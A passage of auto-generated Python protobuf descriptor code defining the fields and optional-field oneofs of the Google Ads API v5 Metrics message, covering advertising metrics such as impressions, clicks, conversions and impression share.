has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='impressions_from_store_reach', full_name='google.ads.googleads.v5.common.Metrics.impressions_from_store_reach', index=67, number=220, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='impressions', full_name='google.ads.googleads.v5.common.Metrics.impressions', index=68, number=221, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='interaction_rate', full_name='google.ads.googleads.v5.common.Metrics.interaction_rate', index=69, number=222, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='interactions', full_name='google.ads.googleads.v5.common.Metrics.interactions', index=70, number=223, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='interaction_event_types', full_name='google.ads.googleads.v5.common.Metrics.interaction_event_types', index=71, number=100, type=14, cpp_type=8, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='invalid_click_rate', full_name='google.ads.googleads.v5.common.Metrics.invalid_click_rate', index=72, number=224, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='invalid_clicks', full_name='google.ads.googleads.v5.common.Metrics.invalid_clicks', index=73, number=225, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message_chats', full_name='google.ads.googleads.v5.common.Metrics.message_chats', index=74, number=226, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message_impressions', full_name='google.ads.googleads.v5.common.Metrics.message_impressions', index=75, number=227, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message_chat_rate', full_name='google.ads.googleads.v5.common.Metrics.message_chat_rate', index=76, number=228, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='mobile_friendly_clicks_percentage', full_name='google.ads.googleads.v5.common.Metrics.mobile_friendly_clicks_percentage', index=77, number=229, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='organic_clicks', full_name='google.ads.googleads.v5.common.Metrics.organic_clicks', index=78, number=230, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='organic_clicks_per_query', full_name='google.ads.googleads.v5.common.Metrics.organic_clicks_per_query', index=79, number=231, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='organic_impressions', full_name='google.ads.googleads.v5.common.Metrics.organic_impressions', index=80, number=232, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='organic_impressions_per_query', full_name='google.ads.googleads.v5.common.Metrics.organic_impressions_per_query', index=81, number=233, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( 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name='_current_model_attributed_conversions_value', full_name='google.ads.googleads.v5.common.Metrics._current_model_attributed_conversions_value', index=53, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_current_model_attributed_conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics._current_model_attributed_conversions_value_per_cost', index=54, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_engagement_rate', full_name='google.ads.googleads.v5.common.Metrics._engagement_rate', index=55, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_engagements', full_name='google.ads.googleads.v5.common.Metrics._engagements', index=56, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_hotel_average_lead_value_micros', full_name='google.ads.googleads.v5.common.Metrics._hotel_average_lead_value_micros', index=57, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_hotel_price_difference_percentage', full_name='google.ads.googleads.v5.common.Metrics._hotel_price_difference_percentage', index=58, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_hotel_eligible_impressions', full_name='google.ads.googleads.v5.common.Metrics._hotel_eligible_impressions', index=59, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_historical_quality_score', full_name='google.ads.googleads.v5.common.Metrics._historical_quality_score', index=60, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_gmail_forwards', full_name='google.ads.googleads.v5.common.Metrics._gmail_forwards', index=61, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_gmail_saves', full_name='google.ads.googleads.v5.common.Metrics._gmail_saves', index=62, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_gmail_secondary_clicks', full_name='google.ads.googleads.v5.common.Metrics._gmail_secondary_clicks', index=63, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_impressions_from_store_reach', full_name='google.ads.googleads.v5.common.Metrics._impressions_from_store_reach', index=64, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_impressions', full_name='google.ads.googleads.v5.common.Metrics._impressions', index=65, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_interaction_rate', full_name='google.ads.googleads.v5.common.Metrics._interaction_rate', index=66, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_interactions', full_name='google.ads.googleads.v5.common.Metrics._interactions', index=67, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_invalid_click_rate', full_name='google.ads.googleads.v5.common.Metrics._invalid_click_rate', index=68, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_invalid_clicks', full_name='google.ads.googleads.v5.common.Metrics._invalid_clicks', index=69, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_message_chats', full_name='google.ads.googleads.v5.common.Metrics._message_chats', index=70, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_message_impressions', full_name='google.ads.googleads.v5.common.Metrics._message_impressions', index=71, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_message_chat_rate', full_name='google.ads.googleads.v5.common.Metrics._message_chat_rate', index=72, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_mobile_friendly_clicks_percentage', full_name='google.ads.googleads.v5.common.Metrics._mobile_friendly_clicks_percentage', index=73, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_organic_clicks', full_name='google.ads.googleads.v5.common.Metrics._organic_clicks', index=74, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_organic_clicks_per_query', full_name='google.ads.googleads.v5.common.Metrics._organic_clicks_per_query', index=75, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_organic_impressions', full_name='google.ads.googleads.v5.common.Metrics._organic_impressions', index=76, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_organic_impressions_per_query', full_name='google.ads.googleads.v5.common.Metrics._organic_impressions_per_query', index=77, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_organic_queries', full_name='google.ads.googleads.v5.common.Metrics._organic_queries', index=78, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_percent_new_visitors', full_name='google.ads.googleads.v5.common.Metrics._percent_new_visitors', index=79, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_phone_calls', full_name='google.ads.googleads.v5.common.Metrics._phone_calls', index=80, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_phone_impressions', full_name='google.ads.googleads.v5.common.Metrics._phone_impressions', index=81, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_phone_through_rate', full_name='google.ads.googleads.v5.common.Metrics._phone_through_rate', index=82, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_relative_ctr', full_name='google.ads.googleads.v5.common.Metrics._relative_ctr', index=83, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_absolute_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_absolute_top_impression_share', index=84, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_budget_lost_absolute_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_budget_lost_absolute_top_impression_share', index=85, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_budget_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_budget_lost_impression_share', index=86, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_budget_lost_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_budget_lost_top_impression_share', index=87, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_click_share', full_name='google.ads.googleads.v5.common.Metrics._search_click_share', index=88, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_exact_match_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_exact_match_impression_share', index=89, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_impression_share', index=90, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_rank_lost_absolute_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_rank_lost_absolute_top_impression_share', index=91, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_rank_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_rank_lost_impression_share', index=92, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_rank_lost_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_rank_lost_top_impression_share', index=93, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_search_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_top_impression_share', index=94, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_speed_score', full_name='google.ads.googleads.v5.common.Metrics._speed_score', index=95, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_top_impression_percentage', full_name='google.ads.googleads.v5.common.Metrics._top_impression_percentage', index=96, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_valid_accelerated_mobile_pages_clicks_percentage', full_name='google.ads.googleads.v5.common.Metrics._valid_accelerated_mobile_pages_clicks_percentage', index=97, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_value_per_all_conversions', full_name='google.ads.googleads.v5.common.Metrics._value_per_all_conversions', index=98, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_value_per_conversion', full_name='google.ads.googleads.v5.common.Metrics._value_per_conversion', index=99, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_value_per_current_model_attributed_conversion', full_name='google.ads.googleads.v5.common.Metrics._value_per_current_model_attributed_conversion', index=100, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_video_quartile_p100_rate', full_name='google.ads.googleads.v5.common.Metrics._video_quartile_p100_rate', index=101, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_video_quartile_p25_rate', full_name='google.ads.googleads.v5.common.Metrics._video_quartile_p25_rate', index=102, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_video_quartile_p50_rate', full_name='google.ads.googleads.v5.common.Metrics._video_quartile_p50_rate', index=103, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_video_quartile_p75_rate', full_name='google.ads.googleads.v5.common.Metrics._video_quartile_p75_rate', index=104, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_video_view_rate', full_name='google.ads.googleads.v5.common.Metrics._video_view_rate', index=105, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_video_views', full_name='google.ads.googleads.v5.common.Metrics._video_views', index=106, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), _descriptor.OneofDescriptor( name='_view_through_conversions', full_name='google.ads.googleads.v5.common.Metrics._view_through_conversions', index=107, containing_type=None, create_key=_descriptor._internal_create_key, fields=[]), ], serialized_start=247, serialized_end=8432, ) _METRICS.fields_by_name['historical_creative_quality_score'].enum_type = google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2._QUALITYSCOREBUCKETENUM_QUALITYSCOREBUCKET _METRICS.fields_by_name['historical_landing_page_quality_score'].enum_type = google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2._QUALITYSCOREBUCKETENUM_QUALITYSCOREBUCKET _METRICS.fields_by_name['historical_search_predicted_ctr'].enum_type = google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2._QUALITYSCOREBUCKETENUM_QUALITYSCOREBUCKET _METRICS.fields_by_name['interaction_event_types'].enum_type = google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_interaction__event__type__pb2._INTERACTIONEVENTTYPEENUM_INTERACTIONEVENTTYPE _METRICS.oneofs_by_name['_absolute_top_impression_percentage'].fields.append( _METRICS.fields_by_name['absolute_top_impression_percentage']) _METRICS.fields_by_name['absolute_top_impression_percentage'].containing_oneof = _METRICS.oneofs_by_name['_absolute_top_impression_percentage'] _METRICS.oneofs_by_name['_active_view_cpm'].fields.append( _METRICS.fields_by_name['active_view_cpm']) _METRICS.fields_by_name['active_view_cpm'].containing_oneof = _METRICS.oneofs_by_name['_active_view_cpm'] _METRICS.oneofs_by_name['_active_view_ctr'].fields.append( _METRICS.fields_by_name['active_view_ctr']) _METRICS.fields_by_name['active_view_ctr'].containing_oneof = _METRICS.oneofs_by_name['_active_view_ctr'] _METRICS.oneofs_by_name['_active_view_impressions'].fields.append( _METRICS.fields_by_name['active_view_impressions']) _METRICS.fields_by_name['active_view_impressions'].containing_oneof = _METRICS.oneofs_by_name['_active_view_impressions'] _METRICS.oneofs_by_name['_active_view_measurability'].fields.append( _METRICS.fields_by_name['active_view_measurability']) _METRICS.fields_by_name['active_view_measurability'].containing_oneof = _METRICS.oneofs_by_name['_active_view_measurability'] _METRICS.oneofs_by_name['_active_view_measurable_cost_micros'].fields.append( _METRICS.fields_by_name['active_view_measurable_cost_micros']) _METRICS.fields_by_name['active_view_measurable_cost_micros'].containing_oneof = _METRICS.oneofs_by_name['_active_view_measurable_cost_micros'] _METRICS.oneofs_by_name['_active_view_measurable_impressions'].fields.append( _METRICS.fields_by_name['active_view_measurable_impressions']) _METRICS.fields_by_name['active_view_measurable_impressions'].containing_oneof = _METRICS.oneofs_by_name['_active_view_measurable_impressions'] _METRICS.oneofs_by_name['_active_view_viewability'].fields.append( _METRICS.fields_by_name['active_view_viewability']) _METRICS.fields_by_name['active_view_viewability'].containing_oneof = _METRICS.oneofs_by_name['_active_view_viewability'] _METRICS.oneofs_by_name['_all_conversions_from_interactions_rate'].fields.append( _METRICS.fields_by_name['all_conversions_from_interactions_rate']) _METRICS.fields_by_name['all_conversions_from_interactions_rate'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_interactions_rate'] _METRICS.oneofs_by_name['_all_conversions_value'].fields.append( _METRICS.fields_by_name['all_conversions_value']) _METRICS.fields_by_name['all_conversions_value'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_value'] _METRICS.oneofs_by_name['_all_conversions'].fields.append( _METRICS.fields_by_name['all_conversions']) _METRICS.fields_by_name['all_conversions'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions'] _METRICS.oneofs_by_name['_all_conversions_value_per_cost'].fields.append( _METRICS.fields_by_name['all_conversions_value_per_cost']) _METRICS.fields_by_name['all_conversions_value_per_cost'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_value_per_cost'] _METRICS.oneofs_by_name['_all_conversions_from_click_to_call'].fields.append( _METRICS.fields_by_name['all_conversions_from_click_to_call']) _METRICS.fields_by_name['all_conversions_from_click_to_call'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_click_to_call'] _METRICS.oneofs_by_name['_all_conversions_from_directions'].fields.append( _METRICS.fields_by_name['all_conversions_from_directions']) _METRICS.fields_by_name['all_conversions_from_directions'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_directions'] _METRICS.oneofs_by_name['_all_conversions_from_interactions_value_per_interaction'].fields.append( _METRICS.fields_by_name['all_conversions_from_interactions_value_per_interaction']) _METRICS.fields_by_name['all_conversions_from_interactions_value_per_interaction'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_interactions_value_per_interaction'] _METRICS.oneofs_by_name['_all_conversions_from_menu'].fields.append( _METRICS.fields_by_name['all_conversions_from_menu']) _METRICS.fields_by_name['all_conversions_from_menu'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_menu'] _METRICS.oneofs_by_name['_all_conversions_from_order'].fields.append( _METRICS.fields_by_name['all_conversions_from_order']) _METRICS.fields_by_name['all_conversions_from_order'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_order'] _METRICS.oneofs_by_name['_all_conversions_from_other_engagement'].fields.append( _METRICS.fields_by_name['all_conversions_from_other_engagement']) _METRICS.fields_by_name['all_conversions_from_other_engagement'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_other_engagement'] _METRICS.oneofs_by_name['_all_conversions_from_store_visit'].fields.append( _METRICS.fields_by_name['all_conversions_from_store_visit']) _METRICS.fields_by_name['all_conversions_from_store_visit'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_store_visit'] _METRICS.oneofs_by_name['_all_conversions_from_store_website'].fields.append( _METRICS.fields_by_name['all_conversions_from_store_website']) _METRICS.fields_by_name['all_conversions_from_store_website'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_store_website'] _METRICS.oneofs_by_name['_average_cost'].fields.append( _METRICS.fields_by_name['average_cost']) _METRICS.fields_by_name['average_cost'].containing_oneof = _METRICS.oneofs_by_name['_average_cost'] _METRICS.oneofs_by_name['_average_cpc'].fields.append( _METRICS.fields_by_name['average_cpc']) _METRICS.fields_by_name['average_cpc'].containing_oneof = _METRICS.oneofs_by_name['_average_cpc'] _METRICS.oneofs_by_name['_average_cpe'].fields.append( _METRICS.fields_by_name['average_cpe']) _METRICS.fields_by_name['average_cpe'].containing_oneof = _METRICS.oneofs_by_name['_average_cpe'] _METRICS.oneofs_by_name['_average_cpm'].fields.append( _METRICS.fields_by_name['average_cpm']) _METRICS.fields_by_name['average_cpm'].containing_oneof = _METRICS.oneofs_by_name['_average_cpm'] _METRICS.oneofs_by_name['_average_cpv'].fields.append( _METRICS.fields_by_name['average_cpv']) _METRICS.fields_by_name['average_cpv'].containing_oneof = _METRICS.oneofs_by_name['_average_cpv'] _METRICS.oneofs_by_name['_average_page_views'].fields.append( _METRICS.fields_by_name['average_page_views']) _METRICS.fields_by_name['average_page_views'].containing_oneof = _METRICS.oneofs_by_name['_average_page_views'] _METRICS.oneofs_by_name['_average_time_on_site'].fields.append( _METRICS.fields_by_name['average_time_on_site']) _METRICS.fields_by_name['average_time_on_site'].containing_oneof = _METRICS.oneofs_by_name['_average_time_on_site'] _METRICS.oneofs_by_name['_benchmark_average_max_cpc'].fields.append( _METRICS.fields_by_name['benchmark_average_max_cpc']) _METRICS.fields_by_name['benchmark_average_max_cpc'].containing_oneof = _METRICS.oneofs_by_name['_benchmark_average_max_cpc'] _METRICS.oneofs_by_name['_benchmark_ctr'].fields.append( _METRICS.fields_by_name['benchmark_ctr']) _METRICS.fields_by_name['benchmark_ctr'].containing_oneof = _METRICS.oneofs_by_name['_benchmark_ctr'] _METRICS.oneofs_by_name['_bounce_rate'].fields.append( _METRICS.fields_by_name['bounce_rate']) _METRICS.fields_by_name['bounce_rate'].containing_oneof = _METRICS.oneofs_by_name['_bounce_rate'] _METRICS.oneofs_by_name['_clicks'].fields.append( _METRICS.fields_by_name['clicks']) _METRICS.fields_by_name['clicks'].containing_oneof = _METRICS.oneofs_by_name['_clicks'] _METRICS.oneofs_by_name['_combined_clicks'].fields.append( _METRICS.fields_by_name['combined_clicks']) _METRICS.fields_by_name['combined_clicks'].containing_oneof = _METRICS.oneofs_by_name['_combined_clicks'] _METRICS.oneofs_by_name['_combined_clicks_per_query'].fields.append( _METRICS.fields_by_name['combined_clicks_per_query']) _METRICS.fields_by_name['combined_clicks_per_query'].containing_oneof = _METRICS.oneofs_by_name['_combined_clicks_per_query'] _METRICS.oneofs_by_name['_combined_queries'].fields.append( _METRICS.fields_by_name['combined_queries']) _METRICS.fields_by_name['combined_queries'].containing_oneof = _METRICS.oneofs_by_name['_combined_queries'] _METRICS.oneofs_by_name['_content_budget_lost_impression_share'].fields.append( _METRICS.fields_by_name['content_budget_lost_impression_share']) _METRICS.fields_by_name['content_budget_lost_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_content_budget_lost_impression_share'] _METRICS.oneofs_by_name['_content_impression_share'].fields.append( _METRICS.fields_by_name['content_impression_share']) _METRICS.fields_by_name['content_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_content_impression_share'] _METRICS.oneofs_by_name['_conversion_last_received_request_date_time'].fields.append( _METRICS.fields_by_name['conversion_last_received_request_date_time']) _METRICS.fields_by_name['conversion_last_received_request_date_time'].containing_oneof = _METRICS.oneofs_by_name['_conversion_last_received_request_date_time'] _METRICS.oneofs_by_name['_conversion_last_conversion_date'].fields.append( _METRICS.fields_by_name['conversion_last_conversion_date']) _METRICS.fields_by_name['conversion_last_conversion_date'].containing_oneof = _METRICS.oneofs_by_name['_conversion_last_conversion_date'] _METRICS.oneofs_by_name['_content_rank_lost_impression_share'].fields.append( _METRICS.fields_by_name['content_rank_lost_impression_share']) _METRICS.fields_by_name['content_rank_lost_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_content_rank_lost_impression_share'] _METRICS.oneofs_by_name['_conversions_from_interactions_rate'].fields.append( _METRICS.fields_by_name['conversions_from_interactions_rate']) _METRICS.fields_by_name['conversions_from_interactions_rate'].containing_oneof = _METRICS.oneofs_by_name['_conversions_from_interactions_rate'] _METRICS.oneofs_by_name['_conversions_value'].fields.append( _METRICS.fields_by_name['conversions_value']) _METRICS.fields_by_name['conversions_value'].containing_oneof = _METRICS.oneofs_by_name['_conversions_value'] _METRICS.oneofs_by_name['_conversions_value_per_cost'].fields.append( _METRICS.fields_by_name['conversions_value_per_cost']) _METRICS.fields_by_name['conversions_value_per_cost'].containing_oneof = _METRICS.oneofs_by_name['_conversions_value_per_cost'] _METRICS.oneofs_by_name['_conversions_from_interactions_value_per_interaction'].fields.append( _METRICS.fields_by_name['conversions_from_interactions_value_per_interaction']) _METRICS.fields_by_name['conversions_from_interactions_value_per_interaction'].containing_oneof = _METRICS.oneofs_by_name['_conversions_from_interactions_value_per_interaction'] _METRICS.oneofs_by_name['_conversions'].fields.append( _METRICS.fields_by_name['conversions']) _METRICS.fields_by_name['conversions'].containing_oneof = _METRICS.oneofs_by_name['_conversions'] _METRICS.oneofs_by_name['_cost_micros'].fields.append( _METRICS.fields_by_name['cost_micros']) _METRICS.fields_by_name['cost_micros'].containing_oneof = _METRICS.oneofs_by_name['_cost_micros'] _METRICS.oneofs_by_name['_cost_per_all_conversions'].fields.append( _METRICS.fields_by_name['cost_per_all_conversions']) _METRICS.fields_by_name['cost_per_all_conversions'].containing_oneof = _METRICS.oneofs_by_name['_cost_per_all_conversions'] _METRICS.oneofs_by_name['_cost_per_conversion'].fields.append( _METRICS.fields_by_name['cost_per_conversion']) _METRICS.fields_by_name['cost_per_conversion'].containing_oneof = _METRICS.oneofs_by_name['_cost_per_conversion'] _METRICS.oneofs_by_name['_cost_per_current_model_attributed_conversion'].fields.append( _METRICS.fields_by_name['cost_per_current_model_attributed_conversion']) _METRICS.fields_by_name['cost_per_current_model_attributed_conversion'].containing_oneof = _METRICS.oneofs_by_name['_cost_per_current_model_attributed_conversion'] _METRICS.oneofs_by_name['_cross_device_conversions'].fields.append( _METRICS.fields_by_name['cross_device_conversions']) _METRICS.fields_by_name['cross_device_conversions'].containing_oneof = _METRICS.oneofs_by_name['_cross_device_conversions'] _METRICS.oneofs_by_name['_ctr'].fields.append( _METRICS.fields_by_name['ctr']) _METRICS.fields_by_name['ctr'].containing_oneof = _METRICS.oneofs_by_name['_ctr'] _METRICS.oneofs_by_name['_current_model_attributed_conversions'].fields.append( _METRICS.fields_by_name['current_model_attributed_conversions']) _METRICS.fields_by_name['current_model_attributed_conversions'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions'] _METRICS.oneofs_by_name['_current_model_attributed_conversions_from_interactions_rate'].fields.append( _METRICS.fields_by_name['current_model_attributed_conversions_from_interactions_rate']) _METRICS.fields_by_name['current_model_attributed_conversions_from_interactions_rate'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions_from_interactions_rate'] _METRICS.oneofs_by_name['_current_model_attributed_conversions_from_interactions_value_per_interaction'].fields.append( _METRICS.fields_by_name['current_model_attributed_conversions_from_interactions_value_per_interaction']) _METRICS.fields_by_name['current_model_attributed_conversions_from_interactions_value_per_interaction'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions_from_interactions_value_per_interaction'] _METRICS.oneofs_by_name['_current_model_attributed_conversions_value'].fields.append( _METRICS.fields_by_name['current_model_attributed_conversions_value']) _METRICS.fields_by_name['current_model_attributed_conversions_value'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions_value'] _METRICS.oneofs_by_name['_current_model_attributed_conversions_value_per_cost'].fields.append( _METRICS.fields_by_name['current_model_attributed_conversions_value_per_cost']) _METRICS.fields_by_name['current_model_attributed_conversions_value_per_cost'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions_value_per_cost'] _METRICS.oneofs_by_name['_engagement_rate'].fields.append( _METRICS.fields_by_name['engagement_rate']) _METRICS.fields_by_name['engagement_rate'].containing_oneof = _METRICS.oneofs_by_name['_engagement_rate'] _METRICS.oneofs_by_name['_engagements'].fields.append( _METRICS.fields_by_name['engagements']) _METRICS.fields_by_name['engagements'].containing_oneof = _METRICS.oneofs_by_name['_engagements'] _METRICS.oneofs_by_name['_hotel_average_lead_value_micros'].fields.append( _METRICS.fields_by_name['hotel_average_lead_value_micros']) _METRICS.fields_by_name['hotel_average_lead_value_micros'].containing_oneof = 